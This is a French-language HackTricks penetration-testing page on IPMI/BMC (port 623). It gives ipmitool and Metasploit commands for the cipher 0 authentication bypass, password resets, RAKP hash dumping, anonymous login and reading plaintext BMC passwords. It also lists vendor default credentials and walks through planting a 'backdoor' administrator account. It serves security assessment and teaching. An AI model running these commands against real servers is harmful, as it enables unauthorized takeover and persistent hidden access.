hacktricks/network-services-pentesting/623-udp-ipmi.md

11 KiB

623/UDP/TCP - IPMI

623/UDP/TCP - IPMI

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

Overview of IPMI

Interface de gestion de plateforme intelligente (IPMI) offre une approche standardisée pour la gestion et la surveillance à distance des systèmes informatiques, indépendamment du système d'exploitation ou de l'état d'alimentation. Cette technologie permet aux administrateurs système de gérer les systèmes à distance, même lorsqu'ils sont éteints ou non réactifs, et est particulièrement utile pour :

  • Configurations de démarrage pré-OS
  • Gestion de l'alimentation
  • Récupération après des pannes système

IPMI est capable de surveiller les températures, les tensions, les vitesses des ventilateurs et les alimentations, tout en fournissant des informations d'inventaire, en examinant les journaux matériels et en envoyant des alertes via SNMP. Essentiel à son fonctionnement, il nécessite une source d'alimentation et une connexion LAN.

Depuis son introduction par Intel en 1998, IPMI a été soutenu par de nombreux fournisseurs, améliorant les capacités de gestion à distance, notamment avec le support de la version 2.0 pour le série sur LAN. Les composants clés incluent :

  • Contrôleur de gestion de carte mère (BMC) : Le micro-contrôleur principal pour les opérations IPMI.
  • Bus et interfaces de communication : Pour la communication interne et externe, y compris ICMB, IPMB et diverses interfaces pour les connexions locales et réseau.
  • Mémoire IPMI : Pour stocker les journaux et les données.

https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right

Port par défaut : 623/UDP/TCP (Il est généralement sur UDP mais peut également fonctionner sur TCP)

Enumeration

Discovery

nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use  auxiliary/scanner/ipmi/ipmi_version

Vous pouvez identifier la version en utilisant :

use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10

IPMI Vulnerabilities

Dans le domaine de l'IPMI 2.0, une faille de sécurité significative a été découverte par Dan Farmer, exposant une vulnérabilité à travers cipher type 0. Cette vulnérabilité, documentée en détail dans la recherche de Dan Farmer, permet un accès non autorisé avec n'importe quel mot de passe, à condition qu'un utilisateur valide soit ciblé. Cette faiblesse a été trouvée dans divers BMC de fabricants tels que HP, Dell et Supermicro, suggérant un problème généralisé au sein de toutes les implémentations IPMI 2.0.

IPMI Authentication Bypass via Cipher 0

Pour détecter cette faille, le scanner auxiliaire Metasploit suivant peut être utilisé :

use auxiliary/scanner/ipmi/ipmi_cipher_zero

L'exploitation de cette faille est réalisable avec ipmitool, comme démontré ci-dessous, permettant la liste et la modification des mots de passe des utilisateurs :

apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password

Récupération de hachages de mots de passe à distance RAKP d'IPMI 2.0

Cette vulnérabilité permet la récupération de mots de passe hachés salés (MD5 et SHA1) pour tout nom d'utilisateur existant. Pour tester cette vulnérabilité, Metasploit propose un module :

msf > use auxiliary/scanner/ipmi/ipmi_dumphashes

Authentification Anonyme IPMI

Une configuration par défaut dans de nombreux BMC permet un accès "anonyme", caractérisé par des chaînes de nom d'utilisateur et de mot de passe nulles. Cette configuration peut être exploitée pour réinitialiser les mots de passe des comptes d'utilisateur nommés en utilisant ipmitool:

ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword

Supermicro IPMI Mots de passe en clair

Un choix de conception critique dans IPMI 2.0 nécessite le stockage de mots de passe en clair au sein des BMC pour des raisons d'authentification. Le stockage de ces mots de passe par Supermicro dans des emplacements tels que /nv/PSBlock ou /nv/PSStore soulève d'importantes préoccupations en matière de sécurité :

cat /nv/PSBlock

Vulnérabilité UPnP IPMI de Supermicro

L'inclusion par Supermicro d'un écouteur SSDP UPnP dans son firmware IPMI, en particulier sur le port UDP 1900, introduit un risque de sécurité sévère. Les vulnérabilités dans le SDK Intel pour les dispositifs UPnP version 1.3.1, comme détaillé par la divulgation de Rapid7, permettent un accès root au BMC :

msf> use exploit/multi/upnp/libupnp_ssdp_overflow

Brute Force

HP randomise le mot de passe par défaut pour son produit Integrated Lights Out (iLO) lors de la fabrication. Cette pratique contraste avec d'autres fabricants, qui ont tendance à utiliser des identifiants par défaut statiques. Un résumé des noms d'utilisateur et mots de passe par défaut pour divers produits est fourni comme suit :

  • HP Integrated Lights Out (iLO) utilise une chaîne de 8 caractères randomisée en usine comme mot de passe par défaut, montrant un niveau de sécurité plus élevé.
  • Des produits comme Dell's iDRAC, IBM's IMM, et Fujitsu's Integrated Remote Management Controller utilisent des mots de passe facilement devinables tels que "calvin", "PASSW0RD" (avec un zéro), et "admin" respectivement.
  • De même, Supermicro IPMI (2.0), Oracle/Sun ILOM, et ASUS iKVM BMC utilisent également des identifiants par défaut simples, avec "ADMIN", "changeme", et "admin" servant de mots de passe.

Accéder à l'hôte via BMC

L'accès administratif au Baseboard Management Controller (BMC) ouvre diverses voies pour accéder au système d'exploitation de l'hôte. Une approche simple consiste à exploiter la fonctionnalité KVM (Keyboard, Video, Mouse) du BMC. Cela peut être fait en redémarrant l'hôte vers un shell root via GRUB (en utilisant init=/bin/sh) ou en démarrant à partir d'un CD-ROM virtuel configuré comme disque de secours. De telles méthodes permettent une manipulation directe du disque de l'hôte, y compris l'insertion de portes dérobées, l'extraction de données, ou toute action nécessaire pour une évaluation de sécurité. Cependant, cela nécessite de redémarrer l'hôte, ce qui est un inconvénient majeur. Sans redémarrage, accéder à l'hôte en cours d'exécution est plus complexe et varie selon la configuration de l'hôte. Si la console physique ou série de l'hôte reste connectée, elle peut facilement être prise en charge via les fonctionnalités KVM ou serial-over-LAN (sol) du BMC via ipmitool. Explorer l'exploitation des ressources matérielles partagées, comme le bus i2c et la puce Super I/O, est un domaine qui nécessite une enquête plus approfondie.

Introduction de portes dérobées dans le BMC depuis l'hôte

Après avoir compromis un hôte équipé d'un BMC, l'interface BMC locale peut être exploitée pour insérer un compte utilisateur porte dérobée, créant une présence durable sur le serveur. Cette attaque nécessite la présence de ipmitool sur l'hôte compromis et l'activation du support du pilote BMC. Les commandes suivantes illustrent comment un nouveau compte utilisateur peut être injecté dans le BMC en utilisant l'interface locale de l'hôte, ce qui contourne le besoin d'authentification. Cette technique est applicable à un large éventail de systèmes d'exploitation, y compris Linux, Windows, BSD, et même DOS.

ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)

ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID  Name        Callin  Link Auth    IPMI Msg  Channel Priv Limit
2  ADMIN            true    false      false      Unknown (0x00)
3  root            true    false      false      Unknown (0x00)
4  backdoor        true    false      true      ADMINISTRATOR

Shodan

  • port:623

Références

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}